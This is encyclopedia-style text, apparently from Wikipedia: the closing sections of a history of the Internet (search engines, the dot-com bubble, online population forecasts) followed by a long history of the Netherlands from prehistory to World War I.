          By August 2001, the directory model had begun to give way to search engines, tracking the rise of Google (founded 1998), which had developed new approaches to relevancy ranking. Directory features, while still commonly available, became after-thoughts to search engines.


          Database size, which had been a significant marketing feature through the early 2000s, was similarly displaced by emphasis on relevancy ranking, the methods by which search engines attempt to sort the best results first. Relevancy ranking first became a major issue circa 1996, when it became apparent that it was impractical to review full lists of results. Consequently, algorithms for relevancy ranking have continuously improved. Google's PageRank method for ordering the results has received the most press, but all major search engines continually refine their ranking methodologies with a view toward improving the ordering of results. As of 2006, search engine rankings are more important than ever, so much so that an industry has developed (" search engine optimizers", or "SEO") to help web-developers improve their search ranking, and an entire body of case law has developed around matters that affect search engine rankings, such as use of trademarks in metatags. The sale of search rankings by some search engines has also created controversy among librarians and consumer advocates.


          


          Dot-com bubble


          The suddenly low price of reaching millions worldwide, and the possibility of selling to or hearing from those people at the same moment when they were reached, promised to overturn established business dogma in advertising, mail-order sales, customer relationship management, and many more areas. The web was a new killer appit could bring together unrelated buyers and sellers in seamless and low-cost ways. Visionaries around the world developed new business models, and ran to their nearest venture capitalist. Of course some of the new entrepreneurs were truly talented at business administration, sales, and growth; but the majority were just people with ideas, and didn't manage the capital influx prudently. Additionally, many dot-com business plans were predicated on the assumption that by using the Internet, they would bypass the distribution channels of existing businesses and therefore not have to compete with them; when the established businesses with strong existing brands developed their own Internet presence, these hopes were shattered, and the newcomers were left attempting to break into markets dominated by larger, more established businesses. Many did not have the ability to do so.


          The dot-com bubble burst on March 10, 2000, when the technology heavy NASDAQ Composite index peaked at 5048.62 (intra-day peak 5132.52), more than double its value just a year before. By 2001, the bubble's deflation was running full speed. A majority of the dot-coms had ceased trading, after having burnt through their venture capital, often without ever making a gross profit.


          


          Worldwide Online Population Forecast


          In its "Worldwide Online Population Forecast, 2006 to 2011," JupiterResearch anticipates that a 38 percent increase in the number of people with online access will mean that, by 2011, 22 percent of the Earth's population will surf the Internet regularly.


          JupiterResearch says the worldwide online population will increase at a compound annual growth rate of 6.6 percent during the next five years, far outpacing the 1.1 percent compound annual growth rate for the planet's population as a whole. The report says 1.1 billion people currently enjoy regular access to the Web.


          North America will remain on top in terms of the number of people with online access. According to JupiterResearch, online penetration rates on the continent will increase from the current 70 percent of the overall North American population to 76 percent by 2011. However, Internet adoption has "matured," and its adoption pace has slowed, in more developed countries including the United States, Canada, Japan and much of Western Europe, notes the report.


          As the online population of the United States and Canada grows by about only 3 percent, explosive adoption rates in China and India will take place, says JupiterResearch. The report says China should reach an online penetration rate of 17 percent by 2011 and India should hit 7 percent during the same time frame. This growth is directly related to infrastructure development and increased consumer purchasing power, notes JupiterResearch.


          By 2011, Asians will make up about 42 percent of the world's population with regular Internet access, 5 percent more than today, says the study.


          Penetration levels similar to North America's are found in Scandinavia and bigger Western European nations such as the United Kingdom and Germany, but JupiterResearch says that a number of Central European countries "are relative Internet laggards."


          Brazil "with its soaring economy," is predicted by JupiterResearch to experience a 9 percent compound annual growth rate, the fastest in Latin America, but China and India are likely to do the most to boost the world's online penetration in the near future.


          For the study, JupiterResearch defined "online users" as people who regularly access the Internet by "dedicated Internet access" devices. Those devices do not include cell phones.


          


          Historiography


          Some concerns have been raised over the historiography of the Internet's development. This is due to lack of centralised documentation for much of the early developments that led to the Internet.


          
            
              "The Arpanet period is somewhat well documented because the corporation in charge - BBN - left a physical record. Moving into the NSFNET era, it became an extraordinarily decentralised process. The record exists in people's basements, in closets. [...] So much of what happened was done verbally and on the basis of individual trust."

            


            
               Doug Gale,
            

          


          
            Retrieved from " http://en.wikipedia.org/wiki/History_of_the_Internet"
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          The present-day territory of the Netherlands has been inhabited since the paleolithic era. The historical period sets in with the Roman Empire, as the parts south of the Rhine were included in the province of Gallia Belgica, and later of Germania Inferior. The country was inhabited at the time by various Germanic tribes, and the south was inhabited by Gauls, who merged with newcomers from other Germanic tribes during the migration period. The Salian Franks migrated to Gaul from this region, establishing by the 5th century the powerful Merovingian dynasty.


          In the medieval period, the Low Countries (roughly present-day Belgium and the Netherlands) consisted of various counties, duchies and dioceses belonging to the Duchy of Burgundy and to the Holy Roman Empire. These were united into one state under Habsburg rule in the 16th century. The Counter-Reformation following the success of Calvinism in the Netherlands, and the attempts to centralise government and suppress religious diversity led to a revolt against Philip II of Spain. On 26 July 1581, independence was declared, and finally recognised after the Eighty Years' War (15681648). The years of the war also marked the beginning of the Dutch Golden Age, a period of great commercial and cultural prosperity roughly spanning the 17th century.


          Around 1600, the Netherlands were considered a country, but it was not until 1648, with the Treaty of Mnster, that the Dutch and Spain formally made peace.


          After the French occupation at the beginning of the 19th century, the Netherlands started out as a monarchy, governed by the House of Orange. However, after a conservative period, strong liberal sentiments could no longer be ignored, and the country became a parliamentary democracy with a constitutional monarch in 1848. It has remained so to this day, with a brief interruption during the occupation by Nazi Germany.


          The Netherlands is now a modern, industrialised nation and a large exporter of agricultural products. International trade (literally 'overseas') has always been a central aspect of the Dutch economy (also influencing the culture) and was also an important reason for the struggle for independence and cause of the ensuing wealth.


          


          Prehistory


          
            [image: The Netherlands in 5500 BC]

            
              The Netherlands in 5500 BC
            

          


          
            [image: The Netherlands in 3850 BC]

            
              The Netherlands in 3850 BC
            

          


          
            [image: The Netherlands in 2750 BC]

            
              The Netherlands in 2750 BC
            

          


          
            [image: The Netherlands in 500 BC]

            
              The Netherlands in 500 BC
            

          


          
            [image: The Netherlands in 50 AD]

            
              The Netherlands in 50 AD
            

          


          The Netherlands have been inhabited since the last ice age; the oldest artefacts that have been found are from the Hoogeveen interstadial of the Saalian glaciation. During the last ice age, the Netherlands had a tundra climate with scarce vegetation. The first inhabitants survived as hunter-gatherers. After the end of the ice age, the area was inhabited by various palaeolithic groups. One group made canoes (Pesse, around 6500 BC) around 8000 BC, a Mesolithic tribe resided near Bergumermeer ( Friesland).


          Agriculture arrived in the Netherlands somewhere around 5000 BC, by the Linear Pottery culture (probably Central European farmers) but was only practised on the loess plateau in the very south (Southern Limburg). Their knowledge was not used to build farms in the rest of the Netherlands owing to a lack of animal domestication and proper tools.


          Autochtoneous hunter-gatherers of the Swifterbant culture are attested from 5600 BC onwards. They had strong ties to rivers and open water and are genetically related to the South Scandinavian Erteblle culture (5300-4000 BC). To the west, the same tribes might have built hunting camps to hunt winter game, such as seals. There is even some evidence of small settlements in the west. These people made the switch to animal husbandry between 4800-4500 BC. They are thought to have developed an agricultural society in an indigenous development as early as 4300-4000 BC, that featured the introduction of small proportions of grains into a traditional broad-spectrum economy. The culture developed into the Westgroup of the farming Funnelbeaker culture, that inhabited Northern Netherlands and Northern Germany to the Elbe river. In this period the first notable remains of Dutch prehistory were erected: the dolmens, large stone grave monuments. They are found in the province of Drenthe, and were probably built between 4100 and 3200 BC. To the west the Vlaardingen culture (around 2600 BC), an apparently more primitive culture of hunter-gatherers survived well into the Neolithicum.


          The region was the possible location of origin of the extremely expansive Bell Beaker culture.


          Around 2950 BC the Netherlands witnessed the transition of Funnelbeaker farming culture to Corded Ware pastoralist culture. This change has been proposed to be a quick, smooth and internal change of culture and religion that occurred during two generations, probably inspired from developments in Eastern Germany, however without the implication of new immigrations. This new culture evolved into the influential Bell Beaker culture. As derived from the western extremity of the Corded Ware culture, otherwise marginal groups took advantage of their contacts by sea and rivers and started a diaspora of North West European culture from Ireland to the Carpatian Basin and south along the Atlantic coast and following the Rhone valley until Portugal, North Africa and Sicily, even penetrating northern and central Italy. The first evidence of the use of a wheel dates from this period, about 2400 BC. This culture also experimented with copper working, of which some evidence (stone anvils, copper knives, a copper spearhead) was found on the Veluwe. Each copper finding shows that there was trade with other "countries", as natural copper cannot be found in the Dutch soil.


          The Bronze age probably started somewhere around 2000 BC. The bronze tools in the grave of "The smith of Wageningen" illustrated their quest for knowledge. ( Typical Dutch Bronze Age items) After this finding, more Bronze Age findings appear, such as Epe, Drouwen, etc. The many findings of rare (and therefore valuable) objects such as tin beads on a necklace in Drenthe suggest Drenthe as a trade centre of the Netherlands in the Bronze Age.

          The stock of broken bronze objects, meant to recycle (Voorschoten) tells us something about the value of bronze in the Bronze Age, which lasted until about 800 BC. Typology of Dutch Bronze Age axes Typical Bronze Age objects are: knives, swords, axes, fibuale, bracelets, etc. Most Bronze Age objects were found in Drenthe. One item shows that merchants travelled far: large bronze situalae (buckets) were manufactured somewhere in eastern France or in Switzerland, for mixing wine with water (a Roman / Greek custom).


          The Iron Age brought fortune to the Netherlands, because iron ore was found in the North ("moeras ijzererts") as well as in the centre (natural "balls" with iron in them, at the Veluwe) as well as in the South (red iron ore near the rivers in Brabant). The smiths could thus travel from small settlement to settlement with bronze and iron, fabricating tools on-demand such as axes, knives, pins, arrowheads, swords, etc. There is even evidence of the use of "damast-forging"; an advanced way to forge metal (swords) with the advantage of flexible iron with the strength of steel.


          The wealth of the Netherlands in the Iron Age is seen at the "King's grave in Oss" (about 500 BC), where a king was buried with some extraordinary objects, including an iron sword with an inlay of gold and coral. He was buried in the largest grave mound of Western Europe, which was 52 m wide.


          At the time of the Roman arrival, the Netherlands had been settled by Germanic tribes, such as the Tubanti, the Canninefates, and the Frisians, who had arrived around 600 BC. Celtic tribes settled the South, among them the Eburones and the Menapii. Several Germanians settled south of the Rhine at the beginning of the Roman settlement, and formed the Germanic tribe of the Batavians and the Toxandri. The Batavians were regarded as good soldiers and fought in many important wars, for instance the conquest of Dacia (Romania) by the emperor Trajan. In later nationalistic views, the Batavians were regarded as the "true" forefathers of the Dutch, as reflected in the name of the later Batavian Republic. These Batavians were replaced or absorbed by the Salian Franks that originally came from Overijssel and beyond, as attested by the geographical area of Salland. These Germanic people might have preserved some religious features of the earliest Swifterbant people, like the worship of the cow and fertility gods that distinguish them from their Germanic neighbours. The Dutch language as it emerged in history derived from the language of the Franks.


          


          Roman era


          After Julius Caesar conquered Gaul, he conquered Belgium and The Netherlands around the year 58 BC, which made it the northern border of the European mainland. They built the first cities and first created the Roman province of Germania Inferior. For most of the large area of Roman occupation in the Netherlands, the boundary of the Roman Empire lay along the Rhine. Romans built the first military forts and cities in the Netherlands. The most important of these were Utrecht, Nijmegen, and Maastricht. The northern part of the Netherlands, which was outside the Roman Empire and where the Frisians lived (and still do), was also heavily influenced by its strong southern neighbour. The Romans also introduced writing.
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          The relationship with the original inhabitants was on the whole quite good; many Batavians even served in the Roman cavalry. Batavian culture was influenced by the Roman one, resulting among other things in Roman-style temples such as the one in Elst, dedicated to local gods. Also the trade flourished: the salt used in the Roman empire was won from the North Sea and remains are found across the whole Roman empire. However, this did not prevent the Batavian rebellion of 69 AD, a very successful revolt under the leadership of Batavian Gaius Julius Civilis. Forty castellae were burnt down because the Romans violated the rights of the Batavian leaders by taking young Batavians as their slaves. Other Roman soldiers (like those in Xanten and the auxiliary troops of Batavians and Caninefatae from the legions of Vitellius) joined the revolt, which split the northern part of the Roman army. April 70 AD, Vespasianus sent a few legions to stop the revolt. Their commander, Petilius Cerialis, eventually defeated the Batavians and started negotiations with Julius Civilis on his home ground, somewhere between the Waal and the Maas near Noviomagus (Nijmegen) oras the Batavians probably called itBatavodurum.

          (Source: Historiae by Tacitus, 1st century AD). Translation into Dutch by the Radboud Universiteit, Nijmegen


          The Roman civilisation in the area was eventually overrun in the mass migration of Germanic peoples (later known as the Vlkerwanderung).


          


          Holy Roman Empire
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          The newcomers merged with the original inhabitants to create three peoples in the Low Countries: the Frisians along the coast, the Saxons in the east and the Franks in the south. The Franks became Christians after their king Clovis I converted in 496. Christianity was introduced in the north after the conquest of Friesland by the Franks. Anglo-Saxon missionaries such as Willibrord, Wulfram and Boniface were active in converting these nations to Christianity. Boniface was martyred by the Frisians in Dokkum (754). The Saxons in the east were converted before the conquest of Saxony, and became Frankish allies.


          In the 7th and 8th centuries, the Frankish chronologies mention this area as the kingdom of the Frisians. This kingdom comprised the coastal provinces of the Netherlands and the German North Sea coast. During this time, the Frisian language was spoken along the entire southern North Sea coast and, today, this region is sometimes referred to as Greater Frisia or Frisia Magna. The 7th-century Frisian realm ( 650- 734) under the kings Aldegisel and Redbad, had its centre of power in the city Utrecht. Its end came in 734 at the Battle of the Boarn, when the Frisians were defeated by the Franks, who then conquered the western part up to the Lauwers. They conquered the area east of the Lauwers in 785, when Charlemagne defeated Widukind.


          The Netherlands belonged to the Frankish empire of Charlemagne, with its heartland in what is today Belgium and northern France, and spanning France, Germany, northern Italy and much of Western Europe.


          In 843, the Frankish empire was divided into three parts, giving rise to France in the west, Germany in the east and a middle empire that lay between the two. Most of the Netherlands was part of the middle empire. Later this middle empire was split: most of the contemporary Dutch-speaking lands became a part of Germany; Flanders became part of France.


          From 800 AD to 1000 AD, the Low Countries suffered considerably from Viking raids. Most of the Netherlands was occupied by the Viking Rorik from about 840 to 880, who ruled from Dorestad. This was about the same time that France and Germany were fighting for supremacy over the middle empire. Resistance to the Vikings, if any, came from local nobles, who gained in stature as a result. Viking supremacy ended in 920 when King Henry of Germany liberated Utrecht.


          The German kings and emperors dominated the Netherlands in the 10th and 11th century. Germany was called the Holy Roman Empire after the coronation of King Otto the Great as emperor. The Dutch city of Nijmegen used to be the spot of an important domain of the German emperors. Several German emperors were born and died there. (Byzantine empress Theophanu died in Nijmegen for instance.) Utrecht was also an important city and trading port at the time. German officials closely watched the count of Westfriesland (Holland) in the Rhine delta. The count rebelled in 1018. The county was destined to become a part of Utrecht after 1018, but the difficulties between the pope and the emperor saved the county.


          Much of the western Netherlands was barely inhabited between the end of the Roman period and around 1100. Around 1000, farmers from Flanders and Utrecht began purchasing the swampy land, draining it and cultivating it. This process happened quickly and the uninhabited territory was settled in only a few generations. They built independent farms that were not part of villages, something unique in Europe at the time. Before this happened the language and culture of most of the people who lived in the area that is now Holland were Frisian. The area was known as "West Friesland" (Westfriesland). As settlement progressed, the area quickly became Dutch. This area became known as ' Holland' in the 12th century. (The part of North Holland situated north of the 'IJ' is still colloquially known as West Friesland).


          Around 1000 AD there were several agricultural developments (described sometimes as an agricultural revolution) that resulted in an increase in production, especially food production. The economy started to develop at a fast pace, and the higher productivity allowed workers to farm more land or to become tradesmen. Guilds were established and markets developed as production exceeded local needs. Also, the introduction of currency made trading a much easier affair than it had been before. Existing towns grew and new towns sprang into existence around monasteries and castles, and a mercantile middle class began to develop in these urban areas. Commerce and town development increased as the population grew.


          The crusades were popular in the Low Countries and drew many to fight in the Holy Land. At home, there was relative peace in Europe. Viking pillaging had stopped. Both the Crusades and the relative peace at home contributed to trade and the growth in commerce.


          Cities arose and flourished, especially in Flanders and Brabant. As the cities grew in wealth and power, they started to buy certain privileges for themselves from the sovereign, including city rights, the right to self-government and the right to pass laws. In practice, this meant that the wealthiest cities became quasi-independent republics in their own right. Two of the most important cities were Brugge and Antwerp which would later develop into some of the most important cities and ports in Europe.


          The Holy Roman Empire was not able to maintain political unity. In addition to the growing independence of the towns, local rulers turned their counties and duchies into private kingdoms and felt little sense of obligation to the emperor who governed over large parts of the nation in name only. Large parts of what now comprise the Netherlands were governed by the Count of Holland, the Duke of Gelre, the Duke of Brabant and the Bishop of Utrecht. Friesland and Groningen in the north maintained their independence and were governed by the lower nobility.


          The various feudal states were in a state of almost continual war. Gelre and Holland fought for control of Utrecht. Utrecht, whose bishop had in 1000 ruled over half of what is today the Netherlands, was marginalised as it experienced continuing difficulty in electing new bishops. At the same time, the dynasties of neighbouring states were more stable. Groningen, Drenthe and most of Gelre, which used to be part of Utrecht, became independent. Brabant tried to conquer its neighbours, but was not successful. Holland also tried to assert itself in Zeeland and Friesland, but its attempts failed.


          Friesland in the north continued to maintain its independence during this time. It had its own institutions (collectively called the "Frisian Freedom") and resented the imposition of the feudal system and the patriciate found in other European towns. They regarded themselves as allies of Switzerland. The Frisian battle cry was "better dead than a slave". They later lost their independence when they were defeated in 1498 by the German Landsknecht mercenaries of Duke Albrecht of Saxony-Meissen.
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          Burgundian period


          Most of what is now the Netherlands and Belgium was eventually united by the Duke of Burgundy in 1433. Before the Burgundian union, the Dutch identified themselves by the town they lived in, their local duchy or county or as subjects of the Holy Roman Empire. The Burgundian period is when the Dutch began the road to nationhood.


          The conquest of the county of Holland by the Duke Philip the Good of Burgundy was an odd affair. Leading noblemen in Holland in fact invited the duke to conquer Holland, even though he had no historical claim to it. Some historians say that the ruling class in Holland wanted Holland to integrate with the Flemish economic system and adopt Flemish legal institutions. Europe had been wracked by many civil wars in the 14th and 15th centuries, while Flanders had grown rich and enjoyed peace.
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          After a few years of conflict, the countess of Holland was deposed in favour of the Burgundian dukes. Holland's trade developed rapidly, especially in the area of shipping and transport. The new rulers defended Dutch trading interests. The fleets of Holland defeated the fleets of the Hanseatic League several times. Amsterdam grew and in the 15th century became the primary trading port in Europe for grain from the Baltic region. Amsterdam distributed grain to the major cities of Belgium, Northern France and England. This trade was vital to the people of Holland, because Holland could no longer produce enough grain to feed itself. Land drainage had caused the peat of the former wetlands to reduce to a level that was too low for drainage to be maintained.


          Gelre resented Burgundian rule. It tried to build up its own state in northeast Netherlands and northwest Germany. Lacking funds in the 16th century, Gelre had its soldiers provide for themselves by pillaging enemy terrain. These soldiers were a great menace to the Burgundian Netherlands. One notorious event was the pillaging of The Hague. Gelre was allied with France, England and Denmark, who wanted to put an end to the wealth of Flanders and Antwerp and Burgundian rule over the Low Countries.


          


          Eighty Years' War
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          Through inheritance and conquest, all of the Low Countries became possessions of the Habsburg dynasty under Charles V in the 16th century, who united them into one state. The east of the Netherlands was occupied only a few decades before the Dutch struggle for independence. However, in 1548, eight years before his abdication from the throne, Emperor Charles V granted the Seventeen Provinces of the Netherlands status as an entity separate from both the Empire and from France with the Transaction of Augsburg. It was not full independence, but it allowed significant autonomy. In the Pragmatic Sanction of 1549 it was stated that the Seventeen Provinces could only passed on as a unified entity.


          Charles was succeeded by his son Philip II of Spain. Unlike his father, who had been raised in Ghent (Belgium), Philip had little personal attachment to the Low Countries (where he had only stayed for four years), and thus was perceived as detached by the local nobility. A devout Catholic, Philip was appalled by the success of the Reformation in the Low Countries, which had led to an increasing number of Calvinists. His attempts to enforce religious persecution of the Protestants and his endeavours to centralise government, justice and taxes made him unpopular and led to a revolt. The Dutch fought for independence from Spain, leading to the Eighty Years' War (1568-1648). Seven rebellious provinces united in the Union of Utrecht in 1579 and formed the Republic of the Seven United Netherlands (also known as the "United Provinces"). The Oath of Abjuration or Plakkaat van Verlatinghe was signed on July 26, 1581, and was the formal declaration of independence of the northern Low Countries from the Spanish king.


          William of Orange (Slot Dillenburg, 24 April 1533  Delft, 10 juli 1584), the founder of the Dutch royal family, led the Dutch during the first part of the war. The very first years were a success for the Spanish troops. However, subsequent sieges in Holland were countered by the Dutch. The Spanish king lost control of the Netherlands after the sack of Antwerp by mutinous Spanish soldiers killing 10,000 inhabitants. The conservative Catholics in the south and east supported the Spanish. The Spanish recaptured Antwerp and other Flemish and Dutch cities. Most of the territory in the Netherlands was recaptured, but not in Flanders, leading to the historical split between The Netherlands and Flanders. Flanders was the most radical anti-Spanish territory. Many Flemish fled to Holland, among them half of the population of Antwerp, 3/4 of Brugge and Ghent and the entire population of Nieuwpoort, Dunkerque and countryside. The war dragged on for another 60 years, but the main fighting was over. The Peace of Westphalia, signed on January 30, 1648, confirmed the independence of the United Provinces from Spain and Germany. The Dutch didn't regard themselves as Germans any more since the 15th century, but they officially remained a part of the Holy Roman Empire until 1648. National identity was mainly formed by the province people came from. Holland was the most important province by far. The republic of the Seven Provinces came to be known as Holland in foreign countries.


          These events formed part of a wider turmoil. See Spanish Armada for a view of some of the history from further west.


          


          Golden Age
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          During the Eighty Years' War the Dutch provinces became the most important trading centre of Northern Europe, replacing Flanders in this respect; Dutch ships hunted whales off Svalbard, traded spices in India and Indonesia (via the Dutch East India Company) and founded colonies in New Amsterdam (now New York), South Africa and the West Indies. In addition some Portuguese colonies were conquered, namely in Northeastern Brazil, Angola, Indonesia and Ceylon. This new nation flourished culturally and economically, creating what historian Simon Schama has called an "embarrassment of riches". Speculation in the tulip trade led to a first stock market crash in 1637, but the economic crisis was soon overcome. Due to these developments the 17th century has been dubbed the Golden Age of the Netherlands. As the Netherlands was a republic, it was largely governed by an aristocracy of city-merchants called the regents, rather than by a king. Every city and province had its own government and laws, and a large degree of autonomy. After attempts to find a competent sovereign proved unsuccessful, it was decided that sovereignty would be vested in the various provincial Estates, the governing bodies of the provinces. The Estates-General, with its representatives from all the provinces, would decide on matters important to the Republic as a whole. However, at the head of each province was the stadtholder of that province, a position held by a descendant of the House of Orange. Usually the stadtholdership of several provinces was held by a single man.


          In 1650, the stadtholder William II, Prince of Orange suddenly died of smallpox; his son, the later stadtholder and subsequent king of England, William III, was born only 8 days later, hence leaving the nation without an obvious successor. Since the conception of the Republic, there had been an ongoing struggle for power between the 'regents', an informal elite of affluent citizens on the one hand and the House of Orange on the other hand, whose supporters, Orangists, were mainly to be found among the common people. For now, the regents seized the opportunity: there would be no new stadtholder (in Holland) for 22 years to come. Johan de Witt, a brilliant politician and diplomat, emerged as the dominant figure. Princes of Orange became the stadtholder and an almost hereditary ruler in 1672 and 1748. The Dutch Republic of the United Provinces was a true republic only from 16501672 and 17021748. These periods are called the First and Second Stadtholderless Eras.


          In the year 1651, England imposed its first Navigation Act, which severely hurt Dutch trade interests. An incident at sea concerning the Act resulted in the First Anglo-Dutch War, which lasted from 1652 to 1654, ending in the Treaty of Westminster (1654), which left the Navigation Act in effect.


          Part of the wealth of the Dutch came through slavery. In 1619 Dutch started with the slave trade between Africa and America, by 1650 becoming the pre-eminent slave trading country in Europe, a position overtaken by Britain around 1700. The port city of Amsterdam was the European capital of slavery, helping to manage the slave trade also of neighbouring nations and with up to 10,000 slaving vessels associated with the port.


          1672 is known in the Netherlands as the "Disastrous Year" ( Rampjaar). England declared war on the Republic, (the Third Anglo-Dutch War), followed by France, Mnster and Cologne, which had all signed alliances against the Republic. France, Cologne and Mnster invaded the Republic. Johan de Witt and his brother Cornelis, who had accomplished a diplomatic balancing act for a long time, were now the obvious scapegoats. They were lynched, and a new stadtholder, William III, was appointed. An Anglo-French attempt to land on the Dutch shore could only just be repelled in three desperate naval battles under command of admiral Michiel de Ruyter. The advance of French troops from the south could only be halted by a costly inundation of its own heart land, by breaching river dykes. With the aid of friendly German princes, the Dutch succeeded in fighting back Cologne and Mnster, after which the peace was signed with both of them, although some territory in the east was lost for ever. Peace was signed with England as well, in 1674 (Second Treaty of Westminster (1674)). In 1678, peace was made with France, although its Spanish and German allies felt betrayed by them signing the Treaty of Nijmegen.


          In 1688, after three essentially undecided Anglo-Dutch Wars, the relations with England reached crisis level once again. Stadtholder William III decided he had to take a huge gamble when he was invited to invade England by Protestant British nobles feuding with William's father-in-law the Catholic James II of England. This led to the Glorious Revolution and cemented the principle of parliamentary rule and Protestant ascendency in England. James fled to France and William ascended to the English throne as co-monarch with his wife Mary, James' eldest daughter. This maneuver secured England as a critical ally of the United Provinces in its ongoing wars with Louis XIV of France. William was the commander of the Dutch and English armies and fleets until his death in 1702. During Williams reign as King of England his primary focus was leveraging British manpower and finances to aid the Dutch against the French. The combination continued after his death as the combined Dutch, British, and mercenary army conquered Flanders and Brabant, and invaded French territory before the alliance collapsed in 1713 due to British political infighting.


          Many immigrants came to the cities of the province Holland in the 17th and 18th century, especially from Protestant parts of Germany. The amount of first generation immigrants from outside the Netherlands in Amsterdam was nearly 50% in the 17th and 18th century. If you add immigrants from the second and third generation and immigrants from the Dutch countryside, then the city was mainly inhabited by immigrants. People in most parts of Europe were very poor, and there was a lot of unemployment. But in Amsterdam there was always work. Tolerance was important, because a continuous influx of immigrants was necessary for the economy. Travellers were surprised that the police didn't control them in Amsterdam. The Netherlands also sheltered many famous refugees, including Flemish Protestants; Portuguese and German Jews; French Protestants (Huguenots); the founder of modern philosophy, Descartes; and, temporarily, the Pilgrim Fathers, who were to become symbols for the US tradition of republicanism.


          The Dutch economy stagnated from the end of the 17th century until the end of the 18th century. The Netherlands slowly lost its position as the trading centre of Northern Europe. Amsterdam was a central financial market and bookmarket in Europe but lost this position to London.


          After having gained its independence in 1648, the Netherlands tried in various coalitions to help to contain France, which had replaced Spain as the strongest nation of Europe. The end of the War of the Spanish Succession ( 1713) marked the end of the Dutch Republic as a major player. In the 18th century, it just tried to maintain its independence and stuck to a policy of neutrality. French invasions in 1672, 1701 and 1748 led to an overthrow of government.


          


          Revolution, Republic and French rule
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          At the end of the 18th century, there was growing unrest in the Netherlands. There was conflict between the Orangists, who wanted stadtholder William V of Orange to hold more power, and the Patriots, who under the influence of the American wanted a more democratic form of government. The opening shot of this abortive 'Batavian' revolution might be considered the manifesto published by Joan van der Capellen tot den Pol, the founder of the 'Patriots' in 1781: Aan het Volk van Nederland (To the people of the Netherlands).


          After the Netherlands became the second nation to recognise US independence, the British declared war. This Fourth Anglo-Dutch War (17801784) proved a disaster for the Netherlands, particularly economically. Its peace treaty, according to Fernand Braudel "sounded the knell of Dutch greatness."


          In 1785 there was a rebellion by the Patriots, an armed insurrection by local militias determined to defend municipal democracies in certain Dutch towns. "Seen as a whole this revolution is a string of violent and confused events, accidents, speeches, rumours, bitter enmities and armed confrontations." says Braudel, who sees it as a forerunner of the French Revolution, with the constant slogan "vrijheid". But the House of Orange, backed by British policy, called upon their Prussian relatives to suppress it. The Orangist reaction was severe. No one dared appear in public without an orange cockade; furthermore there were lynchings. The old burgomasters were replaced by a small unpaid Prussian army which was billeted in the Netherlands and which supported themselves with looting and extortion. Many Patriots fled the country to Brabant or France -- perhaps 40,000 in all.
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          Against this background it is less surprising that, after the French Revolution, when the French army invaded and occupied the Netherlands in 1795, the French encountered so little united resistance. William V of Orange fled to England. The Patriots proclaimed the short-lived Batavian Republic, but government was soon returned to stabler and more experienced hands. In 1806 Napoleon restyled the Netherlands (along with a small part of what is now Germany) into the Kingdom of Holland, with his brother Louis (Lodewijk) Bonaparte as king. This too was short-lived, however. Napoleon incorporated the Netherlands into the French empire after his brother put Dutch interests ahead of those of the French. The French occupation of the Netherlands ended in 1813 after Napoleon was defeated, a defeat in which William VI of Orange played a prominent role.


          On November 30, 1813, William VI of Orange landed in Scheveningen and was proclaimed the Sovereign Prince of the United Netherlands (Dutch: Vereenigde Nederlanden). This state was superseded by the United Kingdom of the Netherlands in 1815, after the unification of the northern Netherlands with the Austrian Netherlands under William VI of Orange.


          Shortly after his flight to England Stadtholder William V sent the Kew Letters in which he gave the Dutch colonies in 'safekeeping' to Great Britain and ordered the colonial governors to surrender to the British. This helped put an end to much of the Dutch colonial empire. Guyana and Ceylon never returned to Dutch rule, though other colonies were initially returned by the Treaty of Amiens. The Cape Colony, which had changed hands several times, remained British after 1806. Other colonies, including what is today Indonesia, were returned to the Netherlands under the Anglo-Dutch Treaty of 1814. Ten years later there was another treatythe Anglo-Dutch Treaty of 1824.


          


          Monarchy


          After the Napoleonic era the Netherlands were put back on the map of Europe. The country had always been part of the precarious balance of power that had kept France in check. Particularly the Russian tsar wanted the Netherlands to resume this role and wanted the colonies to be returned. A compromise was struck with the United Kingdom before the Congress of Vienna, whereby only the Dutch East Indies were returned, and the north and south of the Netherlands became a united sovereign state for the first time ever in 1815, with two capitals: Amsterdam and Brussels, in a secret protocol, known as the Eight Articles of London. The country became a monarchy, with the son of the last stadtholder, William V, the Prince of Orange as king William I. In addition, king William I became hereditary Grand Duke of Luxembourg. The French-speaking ruling elite in the southern Netherlands soon began feeling like second-class citizens. The primary factors that contributed to this feeling were religious (the predominantly Roman Catholic South versus the mostly Protestant North), economic (the South was industrializing, the North had always been a merchants' nation) and linguistic (the French-speaking South was not just Wallonia, but also extended to the French-speaking bourgeoisie in the Flemish cities). In 1830 the situation exploded, the Belgians revolted and declared independence from the North. King William sent an army in 1831, but it was forced to retreat after a few days when the French army was mobilised. The North refused to recognise Belgium until 1839.


          In 1848 unrest broke out all over Europe. Although there were no major events in the Netherlands, these foreign developments persuaded king William II to agree to liberal and democratic reform. That same year the liberal Johan Rudolf Thorbecke was asked by the king to rewrite the constitution, turning the Netherlands into a constitutional monarchy. The new document was proclaimed valid on November 3 of that year. It severely limited the king's powers (making the government accountable only to an elected parliament), and it protected civil liberties. The relationship between monarch, government and parliament has remained essentially unchanged ever since.


          The personal union between the Netherlands and Luxembourg ended in 1890 when William III of the Netherlands, the last Dutch male head of state so far, died, as ascendancy rules in Luxembourg prevented a woman from becoming ruling Grand Duchess.


          By the end of the 19th century, in the New Imperialism wave of colonisation, the Netherlands extended their hold on Indonesia. In 1860 Multatuli wrote Max Havelaar, one of the most famous books in the history of Dutch literature, criticising the exploitation of the country and its inhabitants by the Dutch, although the indigenous princes as their proxies were not spared either.


          [bookmark: 20th_century]


          20th century


          The Netherlands had been neutral for a long time after the Seven Years War since their wealth had grown but their military had done quite the contrary. The Dutch were unable to defend themselves in case of war and therefore chose the policy of Neutrality, a choice that would influence the Dutch involvement in the wars to come.


          


          World War I


          Marshal Count Alfred von Schlieffen designed the Schlieffen Plan in 1905. A plan to invade France while passing through neutral Belgium and neutral Netherlands. In 1908 Von Schlieffen's successor Helmuth von Moltke the Younger changed the plan, and chose not to invade the Netherlands in case of war but instead conserving Dutch neutrality. The simple reason being that the Netherlands supplied many goods to Germany and the Netherlands would be a vast resource of raw products such rubber, tin, quinine and petroleum came through the port of Rotterdam, and of course food. 50 Percent of Dutch agricultural imports until 1916 came through Rotterdam. After that, the USA joined the war and the Dutch suffered from the blockade, although to a lesser extent than Germany. Therefore the economic importance of Dutch neutrality was lost..


